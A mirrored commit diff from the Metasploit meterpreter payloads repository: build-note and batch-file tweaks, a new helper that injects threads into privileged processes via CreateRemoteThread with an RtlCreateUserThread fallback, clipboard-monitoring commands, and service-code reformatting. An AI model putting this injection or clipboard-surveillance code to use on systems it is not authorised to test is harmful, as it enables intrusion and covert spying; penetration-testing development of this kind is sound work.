mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-18 15:14:10 +01:00
Merge branch 'upstream/master' into wmi_query_support
Conflicts: make.bat workspace/ext_server_extapi/ext_server_extapi.vcxproj
This commit is contained in:
commit
d8f86c1806
@ -9,13 +9,16 @@ This is the new repository for the Meterpreter [source], which was originally in
|
||||
Building - Windows
|
||||
==================
|
||||
|
||||
As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is built
|
||||
with [Visual Studio 2013 Express for Desktop][vs_express] or any paid version
|
||||
of [Visual Studio 2013][vs_paid]. Earlier toolsets on Windows are no longer
|
||||
supported -- this includes Visual Studio 2012. Make sure that the version that
|
||||
you download is `Visual Studio Express 2013 for Windows Desktop`. If you are
|
||||
using a dedicated build machine, your best bet is to uninstall Visual Studio
|
||||
2012 if your only project is Meterpreter.
|
||||
As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is
|
||||
built with [Visual Studio 2013 Express for Desktop][vs_express] or any
|
||||
paid version of [Visual Studio 2013][vs_paid]. Earlier toolsets on
|
||||
Windows are no longer supported -- this includes Visual Studio 2012.
|
||||
Make sure that the version that you download is `Visual Studio Express
|
||||
2013 for Windows Desktop` -- dependng on your operating system, if you
|
||||
get the wrong version of VS2013, the installer will complain about
|
||||
needing "a more recent version of Windows." If you are using a dedicated
|
||||
build machine, your best bet is to uninstall Visual Studio 2012 if your
|
||||
only project is Meterpreter.
|
||||
|
||||
Visual Studio 2013 requires .NET 4.5.1 in order to run, and as a result isn't compatible
|
||||
with Windows XP due to the fact that .NET 4.5 will not run on Windows XP. However, this
|
||||
|
@ -15,7 +15,9 @@ SET PREF=
|
||||
IF EXIST "..\pssdk\PSSDK_VC%PSSDK_VER%_LIB\_Libs\pssdk_vc%PSSDK%_mt.lib" SET PREF=r7_
|
||||
|
||||
IF "%1"=="x86" GOTO BUILD_X86
|
||||
IF "%1"=="X86" GOTO BUILD_X86
|
||||
IF "%1"=="x64" GOTO BUILD_X64
|
||||
IF "%1"=="X64" GOTO BUILD_X64
|
||||
|
||||
ECHO "Building Meterpreter x64 and x86 (Release)"
|
||||
SET PLAT=all
|
||||
|
@ -1,5 +1,6 @@
|
||||
#include "common.h"
|
||||
#include "base_inject.h"
|
||||
#include "../remote_thread.h"
|
||||
#include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
|
||||
#include <Tlhelp32.h>
|
||||
|
||||
@ -420,59 +421,66 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
|
||||
/*
|
||||
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
|
||||
*/
|
||||
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
||||
DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
|
||||
HANDLE hThread = NULL;
|
||||
DWORD dwThreadId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
|
||||
// fails, giving us a chance to try an alternative method or fail migration gracefully.
|
||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId );
|
||||
if( !hThread )
|
||||
hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
|
||||
if (!hThread)
|
||||
{
|
||||
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 )
|
||||
if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
|
||||
{
|
||||
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
|
||||
|
||||
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
|
||||
|
||||
if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" )
|
||||
if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" )
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[INJECT] inject_via_remotethread: succeeded");
|
||||
}
|
||||
|
||||
if( remote && response )
|
||||
if (remote && response)
|
||||
{
|
||||
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." );
|
||||
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response...");
|
||||
// Send a successful response to let the ruby side know that we've pretty
|
||||
// much successfully migrated and have reached the point of no return
|
||||
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
|
||||
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
||||
packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." );
|
||||
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
|
||||
// Sleep to give the remote side a chance to catch up...
|
||||
Sleep( 2000 );
|
||||
Sleep(2000);
|
||||
}
|
||||
|
||||
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." );
|
||||
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
|
||||
// Resume the injected thread...
|
||||
if( ResumeThread( hThread ) == (DWORD)-1 )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" )
|
||||
if (ResumeThread(hThread) == (DWORD)-1)
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
} while (0);
|
||||
|
||||
if( hThread )
|
||||
CloseHandle( hThread );
|
||||
if (hThread)
|
||||
{
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
SetLastError( dwResult );
|
||||
SetLastError(dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
94
c/meterpreter/source/common/arch/win/remote_thread.c
Normal file
94
c/meterpreter/source/common/arch/win/remote_thread.c
Normal file
@ -0,0 +1,94 @@
|
||||
#include "common.h"
|
||||
#include "remote_thread.h"
|
||||
|
||||
/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
|
||||
typedef struct _MIMI_CLIENT_ID {
|
||||
PVOID UniqueProcess;
|
||||
PVOID UniqueThread;
|
||||
} CLIENTID;
|
||||
|
||||
/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
|
||||
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
|
||||
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
|
||||
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
|
||||
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
|
||||
static BOOL pRtlCreateUserThreadAttempted = FALSE;
|
||||
|
||||
/*!
|
||||
* @brief Helper function for creating a remote thread in a privileged process.
|
||||
* @param hProcess Handle to the target process.
|
||||
* @param sStackSize Size of the stack to use (if unsure, specify 0).
|
||||
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
|
||||
* @param pvStartParam Pointer to the parameter to pass to the thread function.
|
||||
* @param dwCreateFlags Creation flags to use when creating the new thread.
|
||||
* @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
|
||||
* @return Handle to the new thread.
|
||||
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
|
||||
* @remark This function has been put in place to wrap up the handling of creating remote threads
|
||||
* in privileged processes across all operating systems. In Windows XP and earlier, the
|
||||
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
|
||||
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
|
||||
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
|
||||
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
|
||||
* existing behaviour is kept for when running on XP and earlier, or when the user is already
|
||||
* running within a privileged process.
|
||||
*/
|
||||
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
|
||||
{
|
||||
NTSTATUS ntResult;
|
||||
BOOL bCreateSuspended;
|
||||
DWORD dwThreadId;
|
||||
HANDLE hThread;
|
||||
|
||||
if (pdwThreadId == NULL)
|
||||
{
|
||||
pdwThreadId = &dwThreadId;
|
||||
}
|
||||
|
||||
hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
|
||||
|
||||
// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
|
||||
// on Vista and later.
|
||||
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
|
||||
{
|
||||
dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options");
|
||||
hThread = NULL;
|
||||
|
||||
// Only attempt to load the function pointer if we haven't attempted it already.
|
||||
if (!pRtlCreateUserThreadAttempted)
|
||||
{
|
||||
if (pRtlCreateUserThread == NULL)
|
||||
{
|
||||
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
|
||||
}
|
||||
}
|
||||
pRtlCreateUserThreadAttempted = TRUE;
|
||||
}
|
||||
|
||||
// if at this point we don't have a valid pointer, it means that we don't have this function available
|
||||
// on the current OS
|
||||
if (pRtlCreateUserThread)
|
||||
{
|
||||
dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread");
|
||||
bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
|
||||
ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL);
|
||||
SetLastError(ntResult);
|
||||
|
||||
if (ntResult == 0 && pdwThreadId)
|
||||
{
|
||||
*pdwThreadId = GetThreadId(hThread);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// restore the previous error so that it looks like we haven't done anything else
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
6
c/meterpreter/source/common/arch/win/remote_thread.h
Normal file
6
c/meterpreter/source/common/arch/win/remote_thread.h
Normal file
@ -0,0 +1,6 @@
|
||||
#ifndef _METERPRETER_REMOTE_THREAD_H
|
||||
#define _METERPRETER_REMOTE_THREAD_H
|
||||
|
||||
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
|
||||
|
||||
#endif
|
File diff suppressed because it is too large
Load Diff
@ -5,7 +5,14 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H
|
||||
|
||||
DWORD initialise_clipboard();
|
||||
DWORD request_clipboard_set_data(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_get_data(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
||||
|
@ -27,6 +27,12 @@ Command customCommands[] =
|
||||
COMMAND_REQ("extapi_service_query", request_service_query),
|
||||
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
|
||||
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
|
||||
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
|
||||
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
|
||||
COMMAND_TERMINATOR
|
||||
@ -44,7 +50,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
|
||||
command_register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
return initialise_clipboard();
|
||||
}
|
||||
|
||||
/*!
|
||||
|
@ -32,7 +32,11 @@
|
||||
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 35)
|
||||
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 38)
|
||||
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 39)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40)
|
||||
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43)
|
||||
@ -42,6 +46,11 @@
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
|
||||
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_MON_DUMP MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 52)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_MON_PURGE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 53)
|
||||
|
||||
#define TLV_TYPE_EXT_ADSI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 55)
|
||||
#define TLV_TYPE_EXT_ADSI_FILTER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 56)
|
||||
#define TLV_TYPE_EXT_ADSI_FIELD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 57)
|
||||
|
@ -72,7 +72,8 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
|
||||
|
||||
do
|
||||
{
|
||||
if (!response) {
|
||||
if (!response)
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Unable to create response packet");
|
||||
dwResult = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
@ -84,7 +85,8 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
|
||||
} while (0);
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response) {
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
@ -109,14 +111,16 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
|
||||
do
|
||||
{
|
||||
if (!response) {
|
||||
if (!response)
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Unable to create response packet");
|
||||
dwResult = ERROR_OUTOFMEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
|
||||
if (!lpServiceName) {
|
||||
if (!lpServiceName)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
@ -126,7 +130,8 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
} while (0);
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response) {
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
@ -156,32 +161,38 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
|
||||
do
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
|
||||
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) {
|
||||
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
|
||||
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) {
|
||||
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
|
||||
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) {
|
||||
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Searching for OpenServiceA");
|
||||
if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL) {
|
||||
if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll.");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
|
||||
if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) {
|
||||
if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Opening the Service: %s", cpServiceName);
|
||||
if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) {
|
||||
if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
|
||||
{
|
||||
dwResult = GetLastError();
|
||||
dprintf("[EXTAPI SERVICE] Unable to open the service: %s (%u)", cpServiceName, dwResult);
|
||||
break;
|
||||
@ -192,15 +203,18 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
|
||||
|
||||
} while (0);
|
||||
|
||||
if (scService && pCloseServiceHandle) {
|
||||
if (scService && pCloseServiceHandle)
|
||||
{
|
||||
pCloseServiceHandle(scService);
|
||||
}
|
||||
|
||||
if (scManager && pCloseServiceHandle) {
|
||||
if (scManager && pCloseServiceHandle)
|
||||
{
|
||||
pCloseServiceHandle(scManager);
|
||||
}
|
||||
|
||||
if (hAdvapi32) {
|
||||
if (hAdvapi32)
|
||||
{
|
||||
FreeLibrary(hAdvapi32);
|
||||
}
|
||||
|
||||
@ -237,28 +251,33 @@ DWORD enumerate_services(Packet *pResponse)
|
||||
do
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
|
||||
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) {
|
||||
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
|
||||
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) {
|
||||
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
|
||||
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) {
|
||||
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA");
|
||||
if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL) {
|
||||
if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll.");
|
||||
}
|
||||
|
||||
// TODO: add support for other machine names so that this instance can query other machines on the network.
|
||||
dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
|
||||
if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) {
|
||||
if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager");
|
||||
}
|
||||
|
||||
@ -269,7 +288,8 @@ DWORD enumerate_services(Packet *pResponse)
|
||||
{
|
||||
pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc(dwBytesNeeded);
|
||||
|
||||
if (!pSsInfo) {
|
||||
if (!pSsInfo)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory");
|
||||
}
|
||||
|
||||
@ -277,7 +297,8 @@ DWORD enumerate_services(Packet *pResponse)
|
||||
&dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL);
|
||||
}
|
||||
|
||||
if (!bResult) {
|
||||
if (!bResult)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Failed to enumerate services");
|
||||
}
|
||||
|
||||
@ -292,15 +313,18 @@ DWORD enumerate_services(Packet *pResponse)
|
||||
|
||||
} while (0);
|
||||
|
||||
if (pSsInfo) {
|
||||
if (pSsInfo)
|
||||
{
|
||||
free(pSsInfo);
|
||||
}
|
||||
|
||||
if (scManager && pCloseServiceHandle) {
|
||||
if (scManager && pCloseServiceHandle)
|
||||
{
|
||||
pCloseServiceHandle(scManager);
|
||||
}
|
||||
|
||||
if (hAdvapi32) {
|
||||
if (hAdvapi32)
|
||||
{
|
||||
FreeLibrary(hAdvapi32);
|
||||
}
|
||||
|
||||
@ -373,23 +397,28 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon
|
||||
do
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA");
|
||||
if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL) {
|
||||
if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll.");
|
||||
}
|
||||
|
||||
if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded)) {
|
||||
if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] This query should have failed");
|
||||
}
|
||||
|
||||
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
|
||||
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error from QueryServiceConfigA");
|
||||
}
|
||||
|
||||
if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL) {
|
||||
if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL)
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory");
|
||||
}
|
||||
|
||||
if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded)) {
|
||||
if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded))
|
||||
{
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] QueryServiceConfigA failed");
|
||||
}
|
||||
|
||||
@ -403,7 +432,8 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon
|
||||
|
||||
} while (0);
|
||||
|
||||
if (lpServiceConfig) {
|
||||
if (lpServiceConfig)
|
||||
{
|
||||
free(lpServiceConfig);
|
||||
}
|
||||
|
||||
@ -431,32 +461,39 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse
|
||||
do
|
||||
{
|
||||
dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity");
|
||||
